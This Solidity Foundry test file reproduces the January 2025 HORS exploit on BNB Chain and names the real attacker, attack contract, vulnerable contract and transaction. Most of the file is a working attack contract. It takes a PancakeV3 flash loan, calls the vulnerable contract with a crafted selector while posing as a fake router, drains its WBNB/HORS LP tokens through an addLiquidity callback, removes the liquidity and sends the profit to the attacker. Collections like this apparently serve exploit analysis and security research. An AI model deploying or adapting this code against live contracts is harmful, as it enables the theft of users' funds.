src/test/2025-01/HORS_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 14.8 WBNB
8// Attacker : https://bscscan.com/address/0x8Efb9311700439d70025d2B372fb54c61a60d5DF
9// Attack Contract : https://bscscan.com/address/0x75ff620FF0e63243e86b99510cDbaD1D5e76524E
10// Vulnerable Contract : https://bscscan.com/address/0x6f3390c6C200e9bE81b32110CE191a293dc0eaba
11// Attack Tx : https://bscscan.com/tx/0xc8572846ed313b12bf835e2748ff37dacf6b8ee1bab36972dc4ace5e9f25fed7
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x6f3390c6C200e9bE81b32110CE191a293dc0eaba#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1877032470098428058
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22address constant HORS_ADDR = 0x1Bb30f2AD8Ff43BCD9964a97408B74f1BC6C8bc0;
23address constant PANCAKE_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;
24address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
25address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
26address constant CAKE_LP = 0xd5868B2e2B510A91964AbaFc2D683295586A8C70;
27address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
28address constant VULN_CONTRACT = 0x6f3390c6C200e9bE81b32110CE191a293dc0eaba;
29 
30contract HORS is BaseTestWithBalanceLog {
31    uint256 blocknumToForkFrom = 45587949 - 1;
32 
33    function setUp() public {
34        vm.createSelectFork("bsc", blocknumToForkFrom);
35        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
36        fundingToken = WBNB_ADDR;
37    }
38 
39    function testExploit() public balanceLog {
40        //implement exploit code here
41        AttackContract attackContract = new AttackContract();
42        attackContract.attack();
43    }
44}
45 
46 
47contract AttackContract {
48    address public attacker;
49    constructor() {
50        attacker = msg.sender;
51    }
52    function attack() public {
53        bytes memory data = "";
54        IPancakeV3Pool(PANCAKE_V3_POOL).flash(address(this), 0, 0.1 ether, data);
55    }
56 
57    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
58        // The VULN_CONTRACT contract, which holds the WBNB/HORS LP tokens, lacks proper input validation.
59        // attacker used a fake router contract (this) to drain the tokens.
60        bytes memory payload = abi.encodeWithSelector(
61            bytes4(0xf78283c7),
62            HORS_ADDR,
63            address(this),
64            CAKE_LP
65        );
66        (bool success, bytes memory returnData) = VULN_CONTRACT.call(payload);
67        require(success, string(returnData));
68 
69        IERC20(CAKE_LP).approve(PANCAKE_ROUTER, type(uint256).max);
70        uint256 balance = IERC20(CAKE_LP).balanceOf(address(this));
71        IPancakeRouter(payable(PANCAKE_ROUTER)).removeLiquidity(WBNB_ADDR, HORS_ADDR, balance, 0, 0, address(this), block.timestamp);
72 
73        IERC20(WBNB_ADDR).transfer(PANCAKE_V3_POOL, 0.1 ether + fee1);
74        IERC20(WBNB_ADDR).transfer(attacker, IERC20(WBNB_ADDR).balanceOf(address(this)));
75    }
76 
77    function addLiquidity(
78        address tokenA,
79        address tokenB,
80        uint256 amountADesired,
81        uint256 amountBDesired,
82        uint256 amountAMin,
83        uint256 amountBMin,
84        address to,
85        uint256 deadline
86    ) public returns (uint256, uint256, uint256) {
87        uint256 horsBalance = IERC20(CAKE_LP).balanceOf(VULN_CONTRACT);
88        IERC20(CAKE_LP).transferFrom(VULN_CONTRACT, address(this), horsBalance);
89    }
90    
91}